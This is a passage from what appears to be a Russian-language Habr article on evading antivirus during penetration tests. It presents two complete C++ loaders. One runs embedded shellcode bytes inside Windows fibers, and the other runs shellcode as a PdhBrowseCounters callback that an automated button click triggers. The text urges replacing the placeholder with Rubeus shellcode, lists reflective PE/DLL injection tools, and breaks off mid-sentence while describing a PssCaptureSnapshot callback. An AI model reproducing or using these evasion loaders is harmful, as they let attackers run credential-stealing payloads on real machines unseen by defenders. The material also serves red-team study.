\u0444\u0438\u0431\u0435\u0440\u0430 \u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/winbase\/nf-winbase-switchtofiber\">SwitchToFiber()<\/a>. \u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0438\u0437 \u043f\u043e\u0442\u043e\u043a\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0451\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043f\u043e\u0442\u043e\u043a\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u043e\u0442\u043e\u043a \u0432 \u0444\u0438\u0431\u0435\u0440 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/windows\/win32\/api\/winbase\/nf-winbase-convertthreadtofiber\">ConvertThreadToFiber()<\/a>. <\/p>\n<p>\u0424\u0438\u0431\u0435\u0440\u044b \u043e\u0442\u043b\u0438\u0447\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0430\u0448\u0438\u0445 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u043e\u0432 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0435 \u0438\u0445 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0445\u043e\u0440\u043e\u0448\u0435\u0439 \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u043d\u0430\u0447\u0430\u0442\u044c \u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u0435\u043d\u044c\u043a\u0438\u0439 PoC, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u0443\u0434\u0435\u0442 \u0434\u0435\u0441\u044f\u0442\u044c \u043f\u043e\u0442\u043e\u043a\u043e\u0432 \u0438 \u0434\u0435\u0441\u044f\u0442\u044c \u0444\u0438\u0431\u0435\u0440\u043e\u0432, \u043d\u043e \u043b\u0438\u0448\u044c \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0444\u0438\u0431\u0435\u0440\u043e\u0432 \u0431\u0443\u0434\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d \u0437\u0430\u043f\u0443\u0441\u043a \u043d\u0430\u0448\u0435\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430. <\/p>\n<p>\u0414\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u044c\u044e\u0442\u0435\u043a\u0441. \u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0435\u0449\u0451 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u043d\u0430\u0448\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043c\u044c\u044e\u0442\u0435\u043a\u0441, \u0430 \u0437\u0430\u0442\u0435\u043c \u0434\u0451\u0440\u043d\u0435\u043c \u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0434 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0435\u0433\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0438. <\/p>\n<details class=\"spoiler\">\n<summary>\u041a\u043e\u0434<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"cpp\">#include &lt;windows.h> #include &lt;vector> #include &lt;thread>   #define DEBUG   size_t numOfThreads = 10; size_t numOfFibers = 10;   unsigned char shc[] = \"\\x48\\x31\\xff\\x48\\xf7\\xe7\\x65\\x48\\x8b\\x58\\x60\\x48\\x8b\\x5b\\x18\\x48\\x8b\\x5b\\x20\\x48\\x8b\\x1b\\x48\\x8b\\x1b\\x48\\x8b\\x5b\\x20\\x49\\x89\\xd8\\x8b\" \"\\x5b\\x3c\\x4c\\x01\\xc3\\x48\\x31\\xc9\\x66\\x81\\xc1\\xff\\x88\\x48\\xc1\\xe9\\x08\\x8b\\x14\\x0b\\x4c\\x01\\xc2\\x4d\\x31\\xd2\\x44\\x8b\\x52\\x1c\\x4d\\x01\\xc2\" \"\\x4d\\x31\\xdb\\x44\\x8b\\x5a\\x20\\x4d\\x01\\xc3\\x4d\\x31\\xe4\\x44\\x8b\\x62\\x24\\x4d\\x01\\xc4\\xeb\\x32\\x5b\\x59\\x48\\x31\\xc0\\x48\\x89\\xe2\\x51\\x48\\x8b\" \"\\x0c\\x24\\x48\\x31\\xff\\x41\\x8b\\x3c\\x83\\x4c\\x01\\xc7\\x48\\x89\\xd6\\xf3\\xa6\\x74\\x05\\x48\\xff\\xc0\\xeb\\xe6\\x59\\x66\\x41\\x8b\\x04\\x44\\x41\\x8b\\x04\" \"\\x82\\x4c\\x01\\xc0\\x53\\xc3\\x48\\x31\\xc9\\x80\\xc1\\x07\\x48\\xb8\\x0f\\xa8\\x96\\x91\\xba\\x87\\x9a\\x9c\\x48\\xf7\\xd0\\x48\\xc1\\xe8\\x08\\x50\\x51\\xe8\\xb0\" \"\\xff\\xff\\xff\\x49\\x89\\xc6\\x48\\x31\\xc9\\x48\\xf7\\xe1\\x50\\x48\\xb8\\x9c\\x9e\\x93\\x9c\\xd1\\x9a\\x87\\x9a\\x48\\xf7\\xd0\\x50\\x48\\x89\\xe1\\x48\\xff\\xc2\" \"\\x48\\x83\\xec\\x20\\x41\\xff\\xd6,\\x00\";   DWORD WINAPI threadProc(VOID*); VOID WINAPI fiberProc(LPVOID);   HANDLE hMutex;   int main() {     std::vector&lt;HANDLE> threads(numOfThreads); hMutex = CreateMutex(NULL, FALSE, L\"Mutex\"); for (auto&amp; thread : threads) {     thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadProc, NULL, 0, NULL); }   for (auto&amp; thread : threads) {         WaitForSingleObject(thread, INFINITE); }     return 0; }   DWORD WINAPI threadProc(LPVOID lpParam) {     std::vector&lt;PVOID> fibers(numOfFibers);     ConvertThreadToFiber(NULL);       for (int i = 0; i &lt; numOfFibers; ++i)     {     fibers[i] = CreateFiber(0, (LPFIBER_START_ROUTINE)fiberProc, (LPVOID)i);      }   while (true) {     for (auto&amp; fiber : fibers)     {             SwitchToFiber(fiber);     } }   return 0; }   VOID WINAPI fiberProc(LPVOID lpParam) {     WaitForSingleObject(hMutex, INFINITE); hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, L\"Mutex\"); if (hMutex) {     PVOID payload_mem = VirtualAlloc(0, sizeof(shc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);         memcpy(payload_mem, shc, sizeof(shc));         ((void(*)())payload_mem)(); }  } <\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0412\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043b\u0438\u0448\u044c \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043d\u0430 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 Rubeus. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0442\u0430\u043a\u043e\u043c\u0443 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u043c\u0443 \u0441\u043a\u0440\u044b\u0442\u0438\u044e \u043a\u043e\u0434\u0430 \u043c\u044b \u0432\u043d\u043e\u0432\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0435\u0433\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043e\u0441\u0442\u0430\u0451\u043c\u0441\u044f \u0432\u043d\u0435 \u043f\u043e\u043b\u044f \u0437\u0440\u0435\u043d\u0438\u044f \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e99\/e49\/bc3\/e99e49bc3a0de8e431190c9e6eb8ed11.png\" width=\"1898\" height=\"1131\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e99\/e49\/bc3\/e99e49bc3a0de8e431190c9e6eb8ed11.png\"\/><\/figure>\n<h2>\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043b\u043e\u0430\u0434\u0435\u0440\u044b<\/h2>\n<p>\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0446\u0435\u043b\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0445 Reflective Loader&#8217;s, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u043a\u043e\u0434 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c. \u0420\u0435\u0444\u043b\u0435\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043a\u043e\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0442\u043e\u043c, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0440\u0443\u0447\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u043f\u043e \u0437\u0430\u043d\u0435\u0441\u0435\u043d\u0438\u044e PE-\u0444\u0430\u0438\u0306\u043b\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u2014 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438 \u0441\u0430\u043c Windows. \u041b\u0438\u0431\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435, \u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0438\u0306\u043b\u043e\u0430\u0434 \u043c\u043e\u0433 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c\u0441\u044f. <\/p>\n<p>\u041d\u0430 Github \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u043d\u043e\u0433\u043e \u0433\u043e\u0442\u043e\u0432\u044b\u0445 PoC, \u0432\u044b\u0434\u0435\u043b\u044e \u0441\u0430\u043c\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435: <\/p>\n<ul>\n<li>\n<p><a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/blob\/master\/CodeExecution\/Invoke-ReflectivePEInjection.ps1\">Invoke-ReflectivePEInjection<\/a> \u2014 \u043f\u043e\u0432\u0435\u0440\u0448\u0435\u043b\u043b\u043e\u0432\u0441\u043a\u0438\u0438\u0306 \u0432\u0430\u0440\u0438\u0430\u043d\u0442<\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/nettitude\/RunPE\">RunPE<\/a> \u2014 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u0430\u043a \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0433\u043e, \u0442\u0430\u043a \u0438 \u043d\u0435\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u0434\u0430<\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/TheD1rkMtr\/FilelessPELoader\">FilelessPELoader<\/a> \u2014 \u043e\u0434\u043d\u0430 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0442\u043e\u043b\u043a\u043e\u0432\u044b\u0445 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\u0306. \u0422\u044f\u043d\u0435\u0442 \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u0441 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 <\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0440\u0438\u0447\u0451\u043c \u043c\u043e\u0436\u043d\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u043a\u043b\u0430\u0441\u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u0441\u043b\u0443\u0436\u0430\u0449\u0438\u0445 \u0434\u043b\u044f \u0440\u0435\u0444\u043b\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f DLL:<\/p>\n<ul>\n<li>\n<p><a href=\"https:\/\/www.infosecmatter.com\/metasploit-module-library\/?mm=post\/windows\/manage\/reflective_dll_inject\">post\/windows\/manage\/reflective_dll_inject<\/a> \u2014 \u043c\u043e\u0434\u0443\u043b\u044c MSF<\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/stephenfewer\/ReflectiveDLLInjection\">ReflectiveDllInjection<\/a><\/p>\n<\/li>\n<\/ul>\n<p>\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0438\u043d\u043e\u0433\u0434\u0430 \u0432\u0441\u0435 \u044d\u0442\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043b\u043e\u0430\u0434\u0435\u0440\u044b \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u043d\u044b. \u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u043d\u0430 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0435\u0440\u0435\u0433\u043d\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0432 \u0448\u0435\u043b\u043b\u043a\u043e\u0434, \u0430 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0435\u0433\u043e \u043a\u0430\u043a-\u043d\u0438\u0431\u0443\u0434\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c. \u041f\u0440\u0438\u0447\u0451\u043c \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0442\u043e\u0439\u0442\u0438 \u043e\u0442 \u043f\u0440\u043e\u0442\u043e\u0440\u0435\u043d\u043d\u043e\u0439 \u0434\u043e\u0440\u043e\u0433\u0438 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430, \u0441 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441. <\/p>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u0435 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u043a\u043e\u043b\u043b\u0431\u044d\u043a. \u0412 Windows \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e GUI-\u0444\u0443\u043d\u043a\u0446\u0438\u0438\u0306 \u0438 GUI-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438\u0306, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442 \u043a\u043e\u043b\u043b\u0431\u0435\u043a. \u0421\u043a\u0430\u0436\u0435\u043c, \u0444\u0443\u043d\u043a\u0446\u0438\u044f <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/windows\/win32\/api\/pdh\/nf-pdh-pdhbrowsecountersw\">PdhBrowseCounters()<\/a> \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432\u043e\u0433\u043e \u043e\u043a\u043d\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0441 \u0441\u0447\u0435\u0442\u0447\u0438\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0430 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/pdh\/ns-pdh-pdh_browse_dlg_config_a\">PDH_BROWSE_DLG_CONFIG<\/a>, \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f pCallback. <\/p>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043b\u0438\u0448\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u043a\u043e\u043b\u043b\u0431\u044d\u043a \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0432\u044b\u0431\u0435\u0440\u0435\u0442 \u043d\u0443\u0436\u043d\u044b\u0435 \u0441\u0447\u0451\u0442\u0447\u0438\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438. \u041e\u043f\u044f\u0442\u044c \u0436\u0435, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u044d\u0442\u0438 \u0441\u0447\u0451\u0442\u0447\u0438\u043a\u0438 \u0437\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u0437\u0430\u0442\u0435\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/windows\/win32\/api\/winuser\/nf-winuser-sendmessage\">SendMessage()<\/a> \u0441\u044b\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e \u0432\u044b\u0431\u043e\u0440\u0435 \u0441\u0447\u0435\u0442\u0447\u0438\u043a\u043e\u0432 \u043d\u0443\u0436\u043d\u043e\u043c\u0443 \u043e\u043a\u043d\u0443. <\/p>\n<details class=\"spoiler\">\n<summary>\u0412\u043e\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u0430\u043c \u0432\u043d\u043e\u0432\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043b\u0438\u0448\u044c \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0448\u0435\u043b\u043b\u043a\u043e\u0434: <\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"cpp\">#include &lt;windows.h> #include &lt;pdh.h> #include &lt;pdhmsg.h> #include &lt;stdio.h> #include &lt;iostream>   #pragma comment(lib, \"pdh.lib\")       DWORD WINAPI ThreadFunction(LPVOID lpParam) { Sleep(5000); HWND hwnd = NULL; hwnd = FindWindow(NULL, L\"s\"); ShowWindow(hwnd, SW_HIDE); if (hwnd) {     HWND hwndButton = FindWindowEx(hwnd, NULL, L\"Button\", L\"\u041e\u041a\"); \/\/ OK RUssian       if (hwndButton)     {             SendMessage(hwndButton, BM_CLICK, 0, 0);     }     else {         hwndButton = FindWindowEx(hwnd, NULL, L\"Button\", L\"OK\"); \/\/ OK English         if (hwndButton) {                 SendMessage(hwndButton, BM_CLICK, 0, 0);         }         else {                 std::cout &lt;&lt; \"[-] Cant get handle on button\" &lt;&lt; std::endl;         }     } } return 0; } void ShowCounterBrowser() {       PDH_BROWSE_DLG_CONFIG dlg;       ZeroMemory(&amp;dlg, sizeof(PDH_BROWSE_DLG_CONFIG)); unsigned char AbcdVar[] = \"&lt;SHELLCODE HERE>\"; PVOID addr = VirtualAlloc(0, sizeof(AbcdVar), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(addr, AbcdVar, sizeof(AbcdVar)); dlg.pCallBack = (CounterPathCallBack)addr; dlg.dwCallBackArg = NULL;       dlg.bIncludeInstanceIndex = FALSE;     dlg.bSingleCounterPerAdd = TRUE;     dlg.bSingleCounterPerDialog = TRUE;     dlg.bLocalCountersOnly = FALSE;     dlg.bWildCardInstances = TRUE; dlg.bHideDetailBox = TRUE;     dlg.bInitializePath = FALSE;     dlg.dwDefaultDetailLevel = PERF_DETAIL_WIZARD;     dlg.szReturnPathBuffer = new wchar_t[PDH_MAX_COUNTER_PATH + 1];     dlg.cchReturnPathLength = PDH_MAX_COUNTER_PATH; HANDLE hThread = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);   if (PdhBrowseCounters(&amp;dlg) == ERROR_SUCCESS) {         printf(\"Chosen counter: %s\\n\", dlg.szReturnPathBuffer); } else {         printf(\"No counter chosen\\n\"); }   delete[] dlg.szReturnPathBuffer; }   int main() {     ShowCounterBrowser(); return 0; }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<div class=\"tm-iframe_temp\" data-src=\"https:\/\/embedd.srv.habr.com\/iframe\/6527f6f93eb8e176bfd77016\" data-style=\"\" id=\"6527f6f93eb8e176bfd77016\" width=\"\"><\/div>\n<p>\u0418\u043b\u0438 \u043f\u0443\u0441\u0442\u044c \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044f <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processsnapshot\/nf-processsnapshot-psscapturesnapshot\">PssCaptureSnapshot()<\/a>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0441\u043d\u0430\u043f\u0448\u043e\u0442\u044b \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0441\u043d\u0430\u043f\u0448\u043e\u0442\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0431\u0435\u0436\u0430\u0442\u044c \u043f\u043e \u043d\u0435\u043c\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processsnapshot\/nf-processsnapshot-psswalkmarkercreate\">PssWalkMarkerCreate()<\/a>, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 PSS_ALLOCATOR, \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0438\u0306 \u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u043e\u043b\u043b\u0431\u044d\u043a\u0438. \u0421\u0430\u043c\u0438 \u044d\u0442\u0438 \u043a\u043e\u043b\u043b\u0431\u044d\u043a\u0438 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u043e\u0438\u0306 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438\u0306 \u043f\u043e \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u044e \u0438 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044e \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441\u043e \u0441\u043d\u0435\u043f\u0448\u043e\u0442\u043e\u043c, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0430\u043c \u043d\u0435 \u043f\u043e\u043c\u0435\u0448\u0430\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0442\u0430\u043c \u043d\u0430\u0448 